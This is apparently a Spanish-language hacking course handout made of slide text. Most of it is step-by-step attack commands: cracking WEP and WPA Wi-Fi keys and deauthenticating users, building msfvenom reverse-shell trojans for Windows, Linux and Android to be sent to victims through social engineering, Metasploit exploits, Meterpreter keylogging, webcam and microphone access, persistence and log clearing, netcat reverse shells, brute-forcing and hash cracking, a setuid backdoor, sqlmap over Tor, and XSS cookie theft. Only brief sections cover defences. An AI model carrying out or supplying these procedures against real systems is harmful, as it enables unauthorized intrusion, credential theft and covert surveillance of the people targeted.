Como es para una red del tipo WEP y no estamos agregados a esta pues
hacemos lo siguiente en otra pestana ya que necesitamos formar parte de
esta red.
aireplay-ng -1 0 -a mac-address-gw wlan0mon --ignore-negative-one

Nota: Verifico en la primera pestana si mi mac-address ya esta agregada.

Como estamos en la red del tipo WEP pues para esta debemos de capturar
de 20,000 a mas de la data capturada pero si esta muy lenta pues hago lo
siguiente para que acelere.

aireplay-ng -3 -b mac-address-gw wlan0mon --ignore-negative-one


Cracking Wireless
Aircrack-ng: Wireless WEP

Nota: Luego que hemos capturado mas de 20,000 en data pues paramos con
Ctrl + C y utilizamos el archivo con el nombre que le pusimos a la red
pero con la extension .cap, en este caso se llama NOMBRE-DE-LA-RED-
WEP.cap

aircrack-ng NOMBRE-DE-LA-RED.cap

Nota: Listo, esto es para una red del tipo WEP.


Cracking Wireless
Aircrack-ng: Wireless WPA/WPA2

Verificar nuestra interface de Red.


iwconfig

Si nuestra interface se llama wlan0 pues la ponemos en modo monitor.


airmon-ng start wlan0

Luego procedemos a monitorear todas las redes inalmbricas que


alcancemos.
airodump-ng wlan0mon

Luego que identificamos la red que queremos romper pues hacemos lo


siguiente en otra pestana.
airodump -w NOMBRE-DE-LA-RED-WEP -c el-canal --bssid mac-address-gw
wlan0mon --ignore-negative-one
Cracking Wireless
Aircrack-ng: Wireless WPA/WPA2

verificar si hay alguna persona conectada, si la hay pues procedemos a


desconectarla por unos mili segundos, esto es transparente para el
usuario. esto se hace as ya que WPA/WPA2 utilizan llaves pre-
compartidas (psk pre-share-key) y para esto lo hacemos de esta forma.

aireplay --deauth 1 -a mac-address-gw -c mac-address-victima wlan0mon


--ignore-negative-one

Nota: Esto es para hacer des-autenticacin, si le ponemos 0 en vez de 1


lo forzamos a des-autenticar a la persona conectada.

Una vez que verificamos en la pestana anterior y vemos que tenemos el


handshake, pues paramos el escaneo y procedemos a romper con un
diccionario, no con fuerza bruta, para WPA/WPA2 debe ser con
diccionarios siempre.

aircrack NOMBRE-DE-LA-RED-WPA/WPA2.cap -w /ruta/del/diccionario.txt


Cracking Wireless
Aircrack-ng: Wireless WPA/WPA2

Nota: Ya ser cosa de esperar pero lo importante es obtener en handshake


y luego ese archivo .cap lo podemos cargar hasta en alguna pagina que
tienen diccionarios, en google ponemos "wpa cloud crack" y en esas
paginas solo cargamos nuestro archivo .cap.

Si queremos que el password lo detectemos mas rapido hay varias


herramientas como cowpatty para hacer ese trabajo. una vez que tenemos
el archivo .cap y que se hayan agotado los pasos anteriores, pues asi no
tenemos que utilizar aircrack-ng.

cowpatty -f /ruta/del/diccionario.txt -r NOMBRE-DE-LA-RED-WPA/WPA2.cap -s


NOMBRE-DE-LA-RED(ESSID)

Nota: Ya con esto se debe de romper tambin. Otro mtodo es usando lo


que llaman pre-computacin con la herramienta llamada gempmk.
Cracking Wireless
Aircrack-ng: Wireless WPA/WPA2

Podemos hacer un ataque de pre-computacion

genpmk -f /ruta/del/diccionario.txt -d nuevoarchivogenerado -s


NOMBREDELARED(ESSID) -v # paro el archivo a los 30000 o mas luego

cowpatty -d nombrearchivogenerado -r NOMBRE-DE-LA-RED-WPA/WPA2.cap -s


NOMBRE-DE-LA-RED(ESSID)

para wpa2 es lo mismo pero para romperlo tambin podemos usar john the
ripper.

john --incremental:alpha --stdout | aircrack-ng -b mac-address-del-


router -w - NOMBRE-DE-LA-RED-WPA/WPA2.cap
Cracking Wireless
Aircrack-ng: Wireless WPA/WPA2

Tambin si no conecta pues tratamos de cambiar la mac-address de la tarjeta de


red con macchanger o con el mismo ifconfig

Puedo hacer route -n y ver el router por default

Nota: existe otra herramienta llamada linset para trabajar wireless pero lo que
hace es desconectar a uno o todos los usuarios conectados y luego los usuarios
intentan conectarse les pide las credenciales y cuando lo hacen pues captura su
password. Existe otra excelente herramienta llamada gerix que es un front end
de aircrack.

Es bueno recordar desactivar la interfaz de red que esta en modo monitor de la


siguiente manera:

airmon-ng stop wlan0mon


Cracking Wireless
Algunos comandos para nuestras interfaces Wireless

iw wlan0 info
iwlist
iwevent

Le podemos modificar la potencia a una WLAN, sea el Tx-Power, se debe


tomar en cuenta que hay pases que tienen sus regulaciones.

ifconfig wlan0 down # para bajar la interfaz de Red.


iw reg set BO # para asignar el pas Bolivia.
iwconfig wlan0 txpower 28 # para variar el poder en decibelios.
ifconfig wlan0 up # para subir la interfaz de Red.
iwconfig wlan0 # para verificar los cambios hechos.
iwconfig wlan0 rate 54M # para negociar la velocidad de transm.
iw dev wlan0 set txpower fixed 30mBm # para dejar fijo el txpower.

Nota: con esto puedo detectar mas redes pero se debe tener muy presente
que si elevamos mucho el valor podemos quemar el ship de la interface de
red.
Cracking Wireless
Sugerencias para mejorar la seguridad de su red Wifi

Utilice una contrasea segura.


Habilitar el filtrado de direcciones MAC.
Activar cortafuegos del router.
Configurar el router inalmbrico para utilizar direcciones IP fijas.
Mantenga actualizado el software de su router hasta a la fecha.
Apague su red domestica inalmbrica cuando no este en uso.
Ocultar el nombre SSID de su red inalmbrica.
Cambiar el nombre SSID de su red inalmbrica.
Desactive huspedes Redes.
Desactivar la administracin remota.
Desactivar la configuracin de HTTP para el router y activar HTTPS.
No permitir solicitudes de ping ICMP.
Mantener la seguridad fsica del router.
Cracking Wireless
Sugerencias para mejorar la seguridad de su red Wifi

WPA2 Personal es el principal mtodo de seguridad Wifi y esto es lo que


utilizan la mayora de los usuarios domsticos y de pequeas empresas. Lo
normal es utilizar una sola contrasea. La mayoria de las redes Wifi utilizan
este mtodo.

WPA2 Enterprise tambin es el mtodo utilizad para las empresas. Este mtodo
no es utilizado por usuarios domsticos, ya que requiere un servidor de
autenticacin RADIUS y necesita un nombre de usuario y contrasea. Soporta
mltiples cuentas para cada usuario.
Metasploit
Metasploit
Metasploit es un proyecto open source de seguridad informtica que
proporciona informacin acerca de vulnerabilidades de seguridad y ayuda en
tests de penetracin "Pentesting" y el desarrollo de firmas para sistemas de
deteccin de intrusos.

Su subproyecto ms conocido es el Metasploit Framework, una herramienta


para desarrollar y ejecutar exploits contra una mquina remota.

Metasploit Framework inicialmente fue creado utilizando el lenguaje de


programacin de scripting Perl, aunque actualmente el Metasploit Framework
ha sido escrito de nuevo completamente en el lenguaje Ruby.
Metasploit
De que consta Metasploit?

Auxiliary: son mdulos que nos da funcionalidades por ejemplo un escaner de


puertos, captura de trafico de red (sniffing), obtener todos los correos de una
pagina, entre otros.

Post: es un modulo en el que encontramos recursos para utilizar una vez que
hemos comprometido un sistema.

Payload: es una pieza de cdigo que se ejecuta despus de que hemos


explotado la vulnerabilidad de un sistema. bsicamente define tipo de acceso y
las acciones que haremos cuando estamos dentro del sistema.

Encoder: son usados para evadir protecciones que utilizan los antivirus,
firewalls y detectores de intrusiones entre otros.
Metasploit
De que consta Metasploit?

NOP: es una abreviacin de no operation y es "no operacin, esta escrita en


lenguaje ensamblador. este es un tema con cierta complejidad pero se usan para
el desarrollo de exploits y le da estabilidad a nuestro payload.

Nota: es bueno tener presente que un exploit puede ser local, exploit remotos y
exploit 0days.
Metasploit
De que consta Metasploit?

NOP: es una abreviacin de no operation y es "no operacin, esta escrita en


lenguaje ensamblador. este es un tema con cierta complejidad pero se usan para
el desarrollo de exploits y le da estabilidad a nuestro payload.

Nota: es bueno tener presente que un exploit puede ser local, exploit remotos y
exploit 0days.
Metasploit
Comandos Bsicos en Metasploit

msfdb start # para subir el manejador de la BD.


msfconsole v # para ver la versin actual.
msfupdate # para actualizar la BD de MSF.
msfconsole -q # para no cargar con banner.
msf > help # para presentar ayuda.
msf > banner # para cambiar banners.
msf > show exploits # para ver todos los exploits disp.
msf > show nops # para ver todos los nops.
msf > info php/generic # para que nos de informacin.
msf > show auxiliary # para ver los auxiliares disponibles.
msf > show payloads # para ver todos los payloads.
msf > search adobe # para buscar informacin sobre adobe.
msf > search platform:Linux # para buscar info de una plataforma.
msf > search type:post # para buscar info tipo post.
msf > search cve:2016 # para buscar vulnerabilidades 2016.
msf > Jobs # para ver los trabajos en ejecucin.
msf > kill 0 # matar cualquier tarea en ejecucin.
msf > search name:mysql # para buscar info de nombre mysql.
Metasploit
Comandos Bsicos en Metasploit

msf > show options # para ver las opciones que se necesitan.
msf > show advanced # nos presenta informacin.
msf > show h # para ver la ayuda.
msf > show targets # para ver los objetivos.
msf > ifconfig eth0 # se pueden ejecutar algunos comandos del S.O.
msf > check # para saber si nuestro objetivo es vulnerable.
msf > exploit # para ejecutar un exploit.
msf > run # para ejecutar un exploit.
msf > back # para ponerlo en background.
msf > exploit -j # para ponerlo en segundo plano.
msf > sessions # para ver mis sesiones.
msf > rexploit # para recargar la ejecucin de un exploit.
workspace # para ver en que rea estoy trabajando.
workspace -a amix # para crear un workspace.
workspace amix # para cambiarnos al workspace amix
workspace default # para cambiarnos al workspace default.
workspace -d amix # para eliminar el workspace amix.
Metasploit
Comandos Bsicos en Metasploit

msf > vulns


msf > db_status

Realizar Escaneos con Metasploit:

msf > db_nmap -h


msf > db_nmap -O 192.168.0.0/24
msf > host
msf > services
msf > set
msf > unset

Realizar Enumeracion de Carpetas Compartidas:

msf > use auxiliary/scanner/smb/smb_enumshares


msf > show options
msf > set RHOST 192.168.0.6
msf > run
Metasploit
Comandos Bsicos en Metasploit

Importar archivos de Nessus

Para importar un archivo de nessus ya exportado hacia Metasploit y ver


de forma bien detallada las vulnerabilidades de uno o varios equipos
pues lo hacemos de la siguiente manera:

msf > db_import ruta/del/archivo/archivo.nessus


msf > hosts
msf > services
msf > vulns

Cargar consola de Ruby en Metasploit

msf > irb # para el prompt interactivo de Ruby


>> puts "Hello World!"
Metasploit
Comandos Bsicos en Meterpreter

meterpreter > getuid # para ver los privilegios que tengo.


meterpreter > use priv # para cargar otros privilegios.
meterpreter > getprivs # para cargar otros privilegios espec.
meterpreter > getsystem # para cargar privilegios de SYSTEM.
meterpreter > ps # Procesos que estn en ejecucin.
meterpreter > kill PID # cerrar un proceso.
meterpreter > getpid # para ver el ID de nuestro proceso.
meterpreter > migrate PID # para migrar a otro proceso.
meterpreter > idletime # para el tiempo inactivo del usuario.
meterpreter > hasdump # Muestra los hash de los usuarios.
meterpreter > shell # para cargar el CMD de Windows.
meterpreter > search -f *.bat # para buscar archivos.
Metasploit
Comandos Bsicos en Meterpreter

meterpreter > download # para descargar archivos de la victima.


meterpreter > webcamlist # para ver las camaras de la victima.
meterpreter > recordmic # para entrar al microfono de la victima.
meterpreter > run getenv # rutas del software y los archivos.
meterpreter > run scrapper # para obtener informacion del sistema.
meterpreter > run winenum # para recopila informacion del sistema.
meterpreter > ? # para la ayuda de todos los commandos.
meterpreter > keyscanstart # para guardar todo lo dijitado del usuario.
meterpreter > keyscandump # par ver lo que el usuario escribe.

Nota: a veces keyscandump no funciona de forma correcta debido al


proceso en el que estemos, para mejorar el resultado podemos pasarnos a
otro proceso con migrate.
Metasploit
Comandos Bsicos en Meterpreter

meterpreter > screenshot # para un screenshot del usuario.

meterpreter > snifferinterfaces # muestras las interfaces del sistema.


meterpreter > load sniffer # para cargar el modulo de sniffer.
meterpreter > snifferstart 2 1024 # para iniciar el sniffer.
meterpreter > snifferdump 2 archivo # para ver el archivo capturado.

Nota: este tipo de archivo lo podemos abrir con wireshark.

meterpreter > sniffer_stop 2 # para detener el sniffer.


meterpreter > clearew # para limpiar el registro de Windows.
Metasploit
Intrusin
Generar un Payload Malicioso con MSFVENOM

Este payload funciona tanto para Windows 7, 8.0, 8.1 y 10.

En consola decimos para generar un payloads y cargarlo en Windows.

msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86


-f exe LHOST=ip-atacante LPORT=6699 -o /root/Desktop/amix-
trojan.exe

Desde la consola cargarmos a MSF.

msfdb start
msfconsole

msf > use multi/handler

msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp

msf exploit(handler) > set LPORT 6699


Intrusin
Intrusin a Windows 7, 8.0, 8.1 y 10 con Metasploit

msf exploit(handler) > set LHOST ip-atacante

msf exploit(handler) > exploit

Luego nos aparece la nueva consola de meterpreter.

meterpreter > ps # para ver los procesos de la victima.

meterpreter > migrate PID # para migrar hacia otro proceso

meterpreter > help

meterpreter > execute -f cmd.exe -H i # para cargar el CMD de la


victima.
Intrusin
Intrusin a Windows 7, 8.0, 8.1 y 10 con Metasploit

Desde otra consola de Linux podemos ver el directorio con archivos .exe
para ser copiados en la victima con Windows.

ls /usr/share/windows-binaries/

Desde la consola Metasploit en Meterpreter le cargamos cualquier


archivos de linux desde la ruta con los archivos .exe.

meterpreter > upload /usr/share/windows-binaries/nc.exe


C:\\Users\\tu-usuario

Para ejecutar el archivo que ejecutamos en la victima pues procedemos


con lo siguiente.

meterpreter > shell


Intrusin
Intrusin a Windows 7, 8.0, 8.1, 10 con Metasploit

Y desde la consola de Windows podemos ejecutar la aplicacion que


copiamos.

C:\Users\tu-usuario\ nc.exe lp 6666

Desde el ambiente del atacante pues hacemos lo siguiente:

nc ip-victima 6666

Nota: una vez que tenemos la aplicacion de nc copiada pues podemos


hacer todos los puntos que vimos en el capitulo de Netcat.
Intrusin
Intrusin a Windows XP con Metasploit

msfconsole q

search ms08_067
use exploit/windows/smb/ms08_067_netapi

Ahora puedo usar cualquiera de estos Payloads para esta vulnerabilidad:

msf exploit(ms08_067_netapi) > set payload windows/vncinject/reverse_tcp

msf exploit(ms08_067_netapi) > set payload windows/meterpreter/reverse_tcp

msf exploit(ms08_067_netapi) > set payload windows/shell/reverse_tcp


Intrusin
Intrusin a Windows XP con Metasploit

show options

msf exploit(ms08_067_netapi) > set RHOST 192.168.0.16


msf exploit(ms08_067_netapi) > set LHOST 192.168.0.4
msf exploit(ms08_067_netapi) > exploit

Luego dependiendo del payload que seleccionemos pues nos presentara el


resultado.

En el caso del payload meterpreter:

meterpreter > getpid


Intrusin
Intrusin a Windows 7 con Metasploit

msfconsole q

msf > use exploit/windows/browser/ms10_046_shorcut_icon_dllloader

msf exploit(ms10_046_shorcut_icon_dllloader) > set payload


windows/meterpreter/reverse_tcp

msf exploit(ms10_046_shorcut_icon_dllloader) > show options

msf exploit(ms10_046_shorcut_icon_dllloader) > set LHOST 192.168.100.20

msf exploit(ms10_046_shorcut_icon_dllloader) > set RHOST 192.168.100.25

msf exploit(ms10_046_shorcut_icon_dllloader) > exploit


Intrusin
Intrusin a Windows 7 con Metasploit

Nota: Luego en el ambiete de la victima procedemos a utilizar el browser


para que nos presente informacion en el ambiente del atacante.

Una vez tenemos acceso con meterpreter pues podemos ver y realizar
ciertas acciones:

meterpreter > help


meterpreter > sysinfo
meterpreter > screenshot
meterpreter > getpid
meterpreter > start firefox www.grupolibre.org
meterpreter > taskill /f /im PID
meterpreter > shell
Intrusin
Intrusin a Windows 8.1 con Metasploit

En un consola procedemos a crear un Payload:

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.0.6


LPORT=4444 X > mybackdoor.exe

Nota: procedemos a copiar o enviar este payload a la victima para que


proceda a ejecutarlo.

Luego en cargamos Metasploit

msfconsole q

msf > use exploit/multi/handler


msf exploit(handler) > show options
Intrusin
Intrusin a Windows 8.1 con Metasploit

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp


msf exploit(handler) > set LHOST 192.168.0.6
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > exploit

Luego que ya tenemos cargada la consola de meterpreter procedemos a


practicar varios comandos:

meterpreter > getuid


meterpreter > sysinfo
meterpreter > hashdump
meterpreter > ifconfig
meterpreter > shutdown
Intrusin
Intrusin a Windows Server 2008 con Metasploit

msfconsole q

Para ver informacion de este exploit procedemos con lo siguiente:

msf > info exploit/windows/smb/ms09_050_smb2_negotiate_func_index

msf > use exploit/windows/smb/ms09_050_smb2_negotiate_func_index

msf exploit(ms09_050_smb2_negotiate_func_index) > set payload


windows/meterpreter/reverse_tcp

msf exploit(ms09_050_smb2_negotiate_func_index) > show options


Intrusin
Intrusin a Windows Server 2008 con Metasploit

msf exploit(ms09_050_smb2_negotiate_func_index) > set RHOST


192.168.0.16

msf exploit(ms09_050_smb2_negotiate_func_index) > exploit

Luego que estemos conectados nos debe aparecer la consola de


meterpreter:

meterpreter > getuid


meterpreter > getsystem
meterpreter > sysinfo
meterpreter > hashdump
meterpreter > ifconfig
meterpreter > shutdown
meterpreter > run persistence h # para mantener la conexion.
meterpreter > run persistence U I 5 p 4444 r 192.168.0.6
meterpreter > clearev # para limpiar los logs.
Intrusin
Intrusin a Windows completamente Protegido

Con la herramienta acccheck podemos intentar descifrar contrasenas de


Windows

acccheck -h

acccheck -t 192.168.0.12 -u Administrator -P /ruta/diccionario v

Luego procedemos a crear un archivo vaco para realizar


transferencias.

touch amix-prueba

luego podemos ver las Carpetas compartidas de esa maquina victima.

smbclient -L 192.168.0.12 -U egrullon


Intrusin
Intrusin a Windows completamente Protegido

Para entrar directamente a un directorio en especifico:

smbclient //192.168.0.5/Users -U egrullon p

O de esta manera tambien

smbclient \\\\192.168.0.5\\Users -U egrullon


smb: \> help

Para la transferencia de archivos con smbclient hacemos lo siguiente:

smbclient //192.168.0.5/Users -U egrullon -c ;put amix-prueba;

smb: \> pwd


smb: \> cd egrullon
smb: \egrullon\> put prueba
smb: \egrullon\> ls
Netcat
Que es Netcat?

Es una herramienta de red que permite a travs de intrprete de comandos y


con una sintaxis sencilla abrir puertos TCP/UDP en un HOST (quedando netcat
a la escucha), asociar una shell a un puerto en concreto (para conectarse por
ejemplo a MS-DOS o al intrprete bash de Linux remotamente) y forzar
conexiones UDP/TCP (til por ejemplo para realizar rastreos de puertos o
realizar transferencias de archivos bit a bit entre dos equipos). Fue
originalmente desarrollada por Hobbit en 1996 y liberada bajo una licencia de
software libre permisiva (no copyleft, similar a BSD, MIT) para UNIX.

Posteriormente fue portada a Windows y Mac OS X entre otras plataformas.


Existen muchos forks de esta herramienta que aaden caractersticas nuevas
como GNU Netcat o Cryptcat.

Entre sus mltiples aplicaciones, es frecuente la depuracin de aplicaciones de


red. Tambin es utilizada a menudo para abrir puertas traseras en un sistema.
Netcat
La Navaja Suiza Netcat

Escaneos de Puertos
nc -z -v -n 172.31.100.7 21-25
nc -v 172.31.100.7 21

Chat Server
nc -lp 1567 # del lado del servidor
nc 172.31.100.7 1567 # del lado del cliente

msf > connect -h # para conectarnos desde MSF.


msf > connect 172.31.100.7 1567

Transferencia de Archivos
nc -lp 1567 < file.txt # del lado del servidor
nc -n 172.31.100.7 1567 > file.txt # del lado del cliente

nc -lp 1567 > file.txt # del lado del servidor


nc 172.31.100.23 1567 < file.txt # del lado del cliente
Netcat
La Navaja Suiza Netcat

Transferencia de Directorios
tar -cvf dir_name | nc -lp 1567
nc -n 172.31.100.7 1567 | tar -xvf -

tar -cvf dir_name| bzip2 -z | nc -lp 1567


nc -n 172.31.100.7 1567 | bzip2 -d |tar -xvf -

Cifrar la data cuando se envia por la Red


nc localhost 1567 | mcrypt flush bare -F -q -d -m ecb > file.txt
mcrypt flush bare -F -q -m ecb < file.txt | nc -lp 1567

Video Streaming
cat video.avi | nc -lp 1567
nc 172.31.100.7 1567 | mplayer -vo x11 -cache 3000 -
Netcat
La Navaja Suiza Netcat

Clonando Dispositivos
dd if=/dev/sda | nc -lp 1567
nc -n 172.31.100.7 1567 | dd of=/dev/sda

Abriendo una Shell


nc -lp 1567 -e /bin/bash i 1
nc 172.31.100.7 1567

mkfifo /tmp/tmp_fifo
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo
nc -n 172.31.100.7 1567

Hacer un Reverse Shell


nc -lp 1567
nc 172.31.100.7 1567 -e /bin/bash
Netcat
La Navaja Suiza Netcat

Especificar un Puerto de Origen

nc -lp 1567
nc 172.31.100.7 1567 -p 25

Especificar una Direccin de Origen

nc -u -lp 1567 < file.txt


nc -u 172.31.100.7 1567 -s 172.31.100.5 > file.txt
Fuerza Bruta
Fuerza Bruta
Ataques de Fuerza Bruta

En criptografa, se denomina ataque de fuerza bruta a la forma de recuperar


una clave probando todas las combinaciones posibles hasta encontrar aquella
que permite el acceso.

Dicho de otro modo, define al procedimiento por el cual a partir del


conocimiento del algoritmo de cifrado empleado y de un par texto claro/texto
cifrado, se realiza el cifrado (respectivamente, descifrado) de uno de los
miembros del par con cada una de las posibles combinaciones de clave, hasta
obtener el otro miembro del par. La fuerza bruta suele combinarse con un
ataque de diccionario.

Algunas de las herramientas mas importantes para este tipo de ataques son:

Hydra # para ambiente consola


Medusa # para ambiente consola
xHydra # para ambiente grafico
Fuerza Bruta
Utilizando la Herramienta Hydra

man hydra
hydra h

Para atacar el servicios SSH.


hydra -Vv -l admin -P /ruta/del/diccionario 192.168.1.1 ssh

Otra forma sencilla de atacar el servicios SSH seria la siguiente.


hydra l root P /ruta/del/diccionario ssh://192.168.1.1

Para aplicar fuerza bruta al servicios https.


hydra s 443 Vv L list-passwd P /ruta/del/diccionario 192.168.1.1
t 5 w 10 f https

Ahora con Hydra para el usuario digest.


hydra Vv -l admin -P /ruta/del/diccionario http://192.168.1.1
Fuerza Bruta
Utilizando la Herramienta Medusa

Otra alternativa para aplicar fuerza Bruta es con Medusa

medusa -h
medusa -d

Para atacar el servicios SSH.


medusa -h 192.168.1.1 -u admin -P /ruta/del/diccionario -M ssh

Ahora con Medusa para el usuario digest.


medusa-h 192.168.1.1 -u admin -P /ruta/del/diccionario -M http -v 5
Fuerza Bruta
Utilizando la Herramienta de Metasploit

Ahora hacerle un brute force al puerto 22 con Metasploit

msfconsole

msf > use auxiliary/scanner/ssh/ssh_login


msf auxiliary(ssh_login) > set blank_passwords false
msf auxiliary(ssh_login) > set pass_file /ruta/del/diccionario
msf auxiliary(ssh_login) > set rhosts 192.168.1.1
msf auxiliary(ssh_login) > set username admin
msf auxiliary(ssh_login) > set threads 15
msf auxiliary(ssh_login) > show options
msf auxiliary(ssh_login) > exploit
Creacin de Diccionarios
Herramietas para la creacion de Wordlist

man crunch
crunch -h

crunch 5 5 acfda > diccionario.txt

Otra forma para crear diccionarios con crunch es la siguiente:

crunch 4 4 0123456789 -o diccionario1.lst

crunch 4 4 0123456789 -t 9@@9 -o diccionario2.lst

Otra herramienta para crear diccionarios es Cewl.

man cewl
cewl h

cewl d 1 m 7 w qubit.txt http://www.prosec-it.com


Cracking Passwords
Passwords GNU/Linux
John the Ripper

Una de las herramientas mas conocidas y utilizadas para tratar con


passwords es John the Ripper.

Para crackear las credenciales en un ambiente GNU/Linux hacemos lo


siguiente:

cp /etc/passwd . # copiar el archivo passwd.


cp /etc/shadow . # copiar el archivo shadow.
unshadow passwd shadow > password-crack # crear un archivo
combinado.

Es aca donde entra la herramienta para romper.

john password-crack # crackear el archivo combinado.


john --show password-crack # para presentar los usuarios y
passwords.
Passwords Windows
John the Ripper

Para crackear las credenciales en un ambiente Windows hacemos lo


siguiente:

mkdir amix-crack # crear un directorio para trabajar.


mount /dev/sda2 /root/amix-crack # para montar el disco de Windows.
cd /root/amix-crack # para cambiarnos a este directorio.

ls

cd /Windows/System32/config # una vez montado vamos a esta ruta.

Vamos a utilizer las herramientas bkhive y samdump2 para trabajar con


los archivos SYTEM y SAM.

bkhive SYSTEM /root/key.txt


samdump2 SAM /root/key.txt > /root/hashfile.txt
Passwords Windows
John the Ripper

cat /root/hashfile.txt

Ahora a utilizar el tercer archivo hashfile.txt


john /root/hashfile.txt --format=nt2 -users=Administrator

Todos estos pasos se pueden simplificar utilizando metasploit con una


conexion en meterpreter y con los privilegios de SYSTEM.

meterpreter > hashdump

Con esto nos genera un archivo y a este solo procedemos a decir:

john /root/hashfile.txt --format=nt2 -users=Administrator


Escalando Privilegios en Linux
Escalando Privilegios
Escalando Privilegios en Linux

Procedemos a verificar los servicios activos en el servidor.

nmap -sV 192.168.0.8

En este caso vamos a aplicar brute force al Puerto 22

hydra -vV -s 22 -l root -P /usr/share/wordlists/rockyou.txt


192.168.0.8 -f ssh

Despues que obtenemos acceso vamos a crear un payload para conectarnos


siempre.

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.0.6 LPORT=6666


-f elf > amix

file amix
Escalando Privilegios
Escalando Privilegios en Linux

scp amix root@192.168.0.8:/bin/

ssh root@192.168.0.8

Una vez copiado el archivo procedemos a cambiarle los permisos y


activarle el bit setuid.

chmod +s,a+rwx /bin/amix

Nota: podemos programar un cronjob para que este payload se ejecute.

Desde el equipo de la victima ejecutamos el payload amix.

amix
Escalando Privilegios
Manteniendo el Acceso

En otra consola de la maquina atacante decimos:

nc -lp 6666

Una vez estamos conectados podemos realizer tares de root y crear


archivos, copier, borrar, crear usuarios etc.
SQL Injection
SQL Injection
SQL Injection

Es una vulnerabilidad que permite a un atacante realizar consultas a una base de datos,
se vale de un incorrecto filtrado de la informacin que se pasa a travs de los campos y/o
variables que usa un sitio web, es por lo general usada para extraer credenciales y realizar
accesos ilegtimos, prctica un tanto nefita, ya que un fallo de este tipo puede llegar a
permitir ejecucin de comandos en el servidor, subida y lectura de archivos, o peor an,
la alteracin total de los datos almacenados.

Las herramientas mas comunes son:

Sqlmap: Tal vez la ms famosa, desarrollada en python por Bernardo Damele y


Miroslav Stampar.

Havij: Desarrollada por la empresa ITSecTeam.

SqlNinja: Desarrollada en Perl, usada para explotar aplicaciones web que usan como
back-end a Microsoft Sql Server.
SQL Injection
Sqlmap

Es una herramienta desarrollada en el lenguaje python y es muy util para


hacer inyeccciones sql automatizados. Su objetivo es detectar y
aprovechar las vulnerabilidades de inyeccin SQL en aplicaciones web.

Tiene un soporte completo para MySQL, Oracle, PostgreSQL y Microsoft


SQL. Adems de estos cuatro sistemas de gestin de bases de datos,
Sqlmap tambin puede identificar Microsoft Access, DB2, Informix, Sybase
y Interbase.

Para realizar este tipo de evaluacion en una pagina web se debe


verificar en los campos y formularios si estos soportan cualquier tipo
de caracteres como las comillas simples.

El primer paso para evaluar la url victima es este

sqlmap -u http://target.com/vuln.php?id=1 --dbs


SQL Injection
Sqlmap

sqlmap -u http://target.com/vuln.php?id=1 -D database_name --tables

sqlmap -u http://target.com/vuln.php?id=1 -D database_name -T


table_name --columns

sqlmap -u http://target.com/vuln.php?id=1 -D database_name -T


table_name -C column_name --dump
SQL Injection
Sqlmap Avanzado

Sqlmap puede ser utilizado con proxy de Tor para el ataque seguro y
annimo

sqlmap --tor --check-tor --tor-type=SOCKS5 -u


http://target.com/vuln.php?id=1 --dbs

Aumentar la velocidad por medio de mltiples hilos

sqlmap --threads 10 -u http://target.com/vuln.php?id=1 --dbs

Esto le ayudar a obtener los datos del administrador de inicio de


sesin. Puede acceder al panel de control y desconfigurar todo el sitio
web.
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)

Cross Site Scripting

XSS, del ingls Cross-site scripting es un tipo de inseguridad informtica o


agujero de seguridad tpico de las aplicaciones Web, que permite a una tercera
persona inyectar en pginas web visitadas por el usuario cdigo JavaScript o en
otro lenguaje similar (ej: VBScript), evitando medidas de control como la
Poltica del mismo origen. Este tipo de vulnerabilidad se conoce en espaol con
el nombre de Secuencias de rdenes en sitios cruzados.

XSS es un vector de ataque que puede ser utilizado para robar informacin
delicada, secuestrar sesiones de usuario, y comprometer el navegador,
subyugando la integridad del sistema. Las vulnerabilidades XSS han existido
desde los primeros das de la Web.
Cross Site Scripting (XSS)

Algunos Ejemplos de Cross Site Scripting

Vamos a utilizar la pagina de pruebas:

http://demo.testfire.net/default.aspx

En el search de alguna pagina colocamos la siguiente linea de codigo en


JavaScript y damos Enter.

Ejemplo:

<script>alert(Hola Mundo!");</script>

Para hacerlo persistente el mensaje.

<script>while(1) alert("Hola Mundo - Hack the planet");</script>

Una vez dimos enter procedemos a copiar la URL completa y enviarla a


nuestra victima.
Cross Site Scripting (XSS)

Algunos Ejemplos de Cross Site Scripting

Esta otra lnea de cdigo es para redirigir la pagina hacia otra pagina
a travs de un phishing a la victima.

Utilizando el mismo mecanismo de copiar en el search de la pagina de


nuestra victima este codigo y luego enviarle la URL completa.

Ejemplo:

<script>document.location="http://gikplus.com/wp-
content/uploads/2015/07/viva-estamos-de-tu-lado.jpg"</script>

Para robar datos de una sesin de usuario:

<script>alert(document.cookie);</script>
Cross Site Scripting (XSS)

Como Prevenir XSS

Prevenir XSS requiere mantener los datos no confiables separados del


contenido activo del navegador.

La opcin preferida es codificar los datos no confiables basados en el contexto


HTML (cuerpo, atributo, JavaScript, CSS, o URL) donde sern ubicados. Para
mas detalles sobre tcnicas de codificacin, consulte la Hoja de trucos de
OWASP para la prevencin XSS.

Tambin se recomienda la validacin de entradas positiva o realista


considerando que esta tcnica no es una defensa completa ya que muchas
aplicaciones requieren aceptar caracteres especiales como parte de las entradas
validas. Dicha validacin debe, en la medida de lo posible, validar el largo, los
caracteres, el formato y reglas de negocio que debe cumplir el dato antes de
aceptarlo como entrada.
Cross Site Scripting (XSS)

Como Prevenir XSS

Para contenido en formato enriquecido, considere utilizar bibliotecas de auto


sanitizacin como AntiSamy de OWASP o el proyecto sanitizador de HTML en
Java.

Considere utilizar polticas de seguridad de contenido (CSP) para defender


contra XSS la totalidad de su sitio.

Una politica de seguridad es cargar el modulo mod_security a nivel del


servidor web ya sea apache o nginx.
Hacking Android con Metasploit
Hacking Android
Android con Metasploit

La tcnica bsica para Android es aplicando ingeniera social para


explotar la vulnerabilidad del humano.

Para comprometer un equipo de Android con Metasploit debemos aplicar


ciertos permisos para obtener ciertos datos.

Una manera de conectarnos a un equipo Android es creando un payload para


luego pasarlo al equipo de la victima aplicando ingeniera social.

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.6


LPORT=4444 > /root/Desktop/trojano.apk

file /root/Desktop/trojano.apk

Una vez creado el archivo procedemos a enviarlo a la victima o por


correo para descargue de alguna URL.
Hacking Android
Android con Metasploit

Procedemos a subir el servicio de Apache

service apache2 start


